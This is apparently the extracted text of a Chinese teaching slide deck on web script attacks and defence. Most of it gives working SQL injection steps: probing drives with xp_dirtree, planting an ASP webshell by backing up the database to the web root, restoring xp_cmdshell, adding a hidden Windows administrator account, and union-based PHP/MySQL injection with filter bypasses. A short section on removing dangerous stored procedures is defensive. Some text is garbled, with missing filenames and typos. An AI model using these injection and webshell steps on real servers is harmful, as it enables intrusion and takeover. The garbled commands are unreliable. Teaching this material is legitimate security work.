網(wǎng)絡腳本攻擊與防御ppt(編輯修改稿)
2025-01-04 11:50 本頁面
【文章內(nèi)容簡介】 r..xp_dirtree ?d:\?,0,1 ? 第二步，直接測試 D盤下是否有目標文件“ ”，提交如下語句： and (slecet str(id)%2b?@?%2bstr(depth)%2b?@? from tmp where name=?? and isfile=1)0 2. 寫入 webshell 通過備份數(shù)據(jù)庫來獲得 webshell。 原因： 因為 ASP文件的時候，以“ %”為開頭，“ %”標記為結(jié)尾的語句都會當作 ASP語句執(zhí)行。如果先在數(shù)據(jù)庫之中插入構(gòu)造的 ASP木馬語句，然后再把數(shù)據(jù)庫備份到磁盤，命名為“ ”，就可以得到 webshell了。 采用增量備份的方法，語句如下： ?Create table cmd(a image) ?Backup database data to disk=? E:\\root\ ? with init insert into cmd(a) value(?%execute request(“1)%?) ?Backup database data to disk=? E:\\root\? with DIFFERENTIAL 保護好 SQLServer數(shù)據(jù)庫 ? 在數(shù)據(jù)沒有經(jīng)過服務器處理之前就進行嚴格的檢查 ? 刪除掉擴展存儲 use master EXEC sp_dropextendedproc 39。xp_cmdshell39。 EXEC sp_dropextendedproc 39。Sp_OACreate39。 EXEC sp_dropextendedproc 39。Sp_OADestroy39。 EXEC sp_dropextendedproc 39。Sp_OAGetErrorInfo39。 EXEC sp_dropextendedproc 39。Sp_OAGetProperty39。 EXEC sp_dropextendedproc 39。Sp_OAMethod39。 EXEC sp_dropextendedproc 39。Sp_OASetProperty39。 EXEC sp_dropextendedproc 39。Sp_OAStop39。 EXEC sp_dropextendedproc 39。Xp_regaddmultistring39。 EXEC sp_dropextendedproc 39。Xp_regdeletekey39。 EXEC sp_dropextendedproc 39。Xp_regdeletevalue39。 EXEC sp_dropextendedproc 39。Xp_regenumvalues39。 EXEC sp_dropextendedproc 39。Xp_regread39。 EXEC sp_dropextendedproc 39。Xp_regremovemultistring39。 EXEC sp_dropextendedproc 39。Xp_regwrite39。 drop procedure sp_makewebtask ? 刪除掉所對應的 dll文件， ? 盡量不采用 SA權(quán)限連接數(shù)據(jù)庫 注入過程中的一些常見問題 ? 關(guān)鍵存儲過程被刪除 首先嘗試恢復 xp_cmdshell，提交如下語句： sp_addextendedproc Xp_cmdshell,@dllname=39。? 如果提示找不到 ，那就用webshell上傳 ，再執(zhí)行： Exec 39。xp_cmdshell39。, 39。C:\ 39。 如果還是不成功，可以再嘗試加上 SQL帳戶： exec xxx exec xxx,sysadmin 然后用 SQL查詢分析器連接上去再執(zhí)行： declare @cmd INT exec sp_oacreate 39。39。,@cmd output exec sp_oamethod @cmd,39。run39。,null,39。 user xxx 123456 /add39。,39。039。,39。true39。 declare @cmd INT exec sp_oacreate 39。39。,@cmd output exec sp_oamethod @cmd,39。run39。,null,39。 localgroup administrators xxx /add39。,39。039。,39。true39。 2 PHP注入 ? PHP+MySQL注入的一些特征 ?Version4以下的版本不支持子語句。 ? magic_quotes_gpc為 on時，把提交的變量中所有的 ‘ (單引號 ), “ (雙引號 ), \ (反斜線 ) 和 空字符會自動轉(zhuǎn)為含有反斜線的轉(zhuǎn)義字符，例如把’變成了 \?,把 \變成了 \\ 。 ?Php的 mysql_query函數(shù)限制了只能查詢一個SQL語句，即適用分好把多個 SQL語句組合到一起，實際上也只有第一個 SQL語句會被執(zhí)行。 環(huán)境探測 ? 是否支持 ” “注釋法 ，如果支持那么就是 版本，提交： ? 利用 order轉(zhuǎn)換判斷版本 ，提交： and ord(mid(version(),1,1))51/* 返回正常頁面說明是 。 ? 聯(lián)合查詢功能 。如果 version4，可以使用聯(lián)合查詢來獲得精確的版本號，提交： union select 1,version(),3/* PHP注入過程 ? ,加 39。and 1=1。and 1=2 ? and ord(mid(version(),1,1))51 /* 返回正常說明是 ，可以用 union查詢 ? order by 暴字段，在網(wǎng)址后加 order by 10 /* 如果返回正常說明字段大于 10 ? union來查詢準確字段，如 : and 1=2 union select 1,2,3,......./*直到返回正常，說明猜到準確字段數(shù)。如過濾了空格可以用 /**/代替。 ? ， and (select count(*) from )
教學課件相關(guān)推薦
鄂ICP備17016276號-1